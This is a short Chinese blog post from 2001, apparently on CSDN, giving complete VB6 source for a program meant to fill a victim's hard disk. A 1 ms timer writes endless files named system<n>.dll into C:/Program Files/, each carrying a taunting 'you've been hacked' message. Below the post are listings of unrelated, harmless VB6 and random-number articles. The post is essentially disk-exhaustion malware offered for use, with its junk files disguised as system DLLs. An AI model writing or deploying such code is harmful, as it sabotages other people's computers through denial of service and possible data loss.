用vb6制作随机产生文件把硬盘塞满!

原创 2001年12月09日 15:36:00
  首先新建一个.exe工程,然后在窗体中加入timer控件,设置timer的interval=1,双点timer控件,输入以下代码
Private Sub Timer1_Timer()
‘声明变量,其中“count”为静态变量,以便生成不同的文件
Dim files As String
Dim nr As String
Dim c As String
Static count As Long
’定义要把生成的文件存放在那个目录文件下
c = "c:/Program Files/"
’生成文件的内容
nr = "哈哈,被黑的感觉的不错吧"
files = FreeFile
’如果a等于a那么就执行
If a = a Then
’count不断的加1,以便产生不同的文件名
count = count + 1
’产生文件名及文件句柄,并用count作为产生不同的文件名。
Open c & "system" & count & ".dll" For Append As #files
’向文件写内容
Write #files, nr
’清除文件句柄,这里很重要,如果不清除,将产生打开文件太多的错误提示
Close #files
End If
End Sub
     小生刚学vb不长时间就班门弄斧,有错的地方望见谅,我的联系信箱是netboy@cnpick.com,有空和我联系啦,呵呵。

【Android】快速填满手机存储空间的方法

http://blog.csdn.net/fulinwsuafcie/article/details/9700619 很多时候我们需要进行临界测试。 譬如当手机盘空间存满的条件下应用会有何...
  • zsch591488385
  • zsch591488385
  • 2014年07月18日 16:59
  • 4962

STM32F4学习笔记12——RNG随机数发生器

RNG主要特性 RNG 处理器是一个以连续模拟噪声为基础的随机数发生器,在主机读数时提供一个 32 位的 随机数。RNG的主要特性 ● 提供由模拟量发生器产生的 32 位随机数 ● 两个连续随机...
  • z312811966
  • z312811966
  • 2016年05月17日 10:29
  • 2840

随机数产生器(random number generator)

随机数产生器 随机数一般分为真正的随机和伪随机(pseudorandom number generator (PRNG))。真正的随机则是不可预测;伪随机则依靠随机数种子和随机算法,是可能被预测的。...
  • iterate7
  • iterate7
  • 2015年12月27日 12:14
  • 1616

win7(64位)下的某些文件,用VB6开发的程序无法判断是否存在

我用VB6开发的程序,想在WIN7(64位)上运行,其中有个功能是查找WIN7(64位)系统目录下的某个文件是否存在。 结果发现,那个文件确实存在,但程序就是提示找不到文件,同样的程序在XP下运行没...
  • CJHLPLFX
  • CJHLPLFX
  • 2014年01月20日 22:34
  • 2644

VB6: Ini文件操作类

Option Explicit '' INI文件读写Api Private Declare Function GetPrivateProfileString Lib "kernel32" Alias...
  • yao_yu_126
  • yao_yu_126
  • 2013年05月12日 20:30
  • 1686

【VB6】CD 抓音轨转成 WAVE 波形格式文件

本来想写个转成WMA的。。。不过关于WMA格式网上的资料实在太少,虽然也找到个“CD抓音轨转成WMA”的文章,但是这篇文章的代码里面引用了Windows Media SDK,我对这个玩意没多少研究,所...
  • tzwsoho
  • tzwsoho
  • 2011年03月22日 00:15
  • 1498

vb6 winhttp 上传文件

winhttp 上传文件到web服务器
  • haha4799
  • haha4799
  • 2016年03月09日 17:31
  • 1494

VB6中一个非常好用的读写Ini文件的模块

VB6中一个非常好用的读写Ini文件的模块 新建模块(建议不使用注册表)   命名为rwini 'ini文件在有回车换行符会出错,经过测试,汉字要小于86字节,英言文要小于143字节才能返回列...
  • AwillAway
  • AwillAway
  • 2011年08月23日 22:18
  • 4327

关于vb6自带打包工具打包后的安装文件在windows操作系统上安装出现问题的解决方法(部分转载)

本人在win7操作系统中,通过vb6自带的打包工具(Package & Deployment Wizard)打包安装文件,在windows xp中安装时出现“Setup cannot continue...
  • dd_zhouqian
  • dd_zhouqian
  • 2013年10月15日 17:50
  • 3928

(VB6)如何默认点击使用Webbrowser打开Office时出现的“您要打开还是保存此文件?”的打开按钮

点击“打开”按钮的思路:       当跳出对话框的时候,程序被挂在,程序不能直接跑到点击代码里,需要开一个线程进行点击。在VB6里,可以用Timer控件进行定时执行点击动作,实现类似线程的功能。 ...
  • liang_tb
  • liang_tb
  • 2016年10月07日 19:38
  • 782
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:用vb6制作随机产生文件把硬盘塞满!
举报原因:
原因补充:

(最多只允许输入30个字)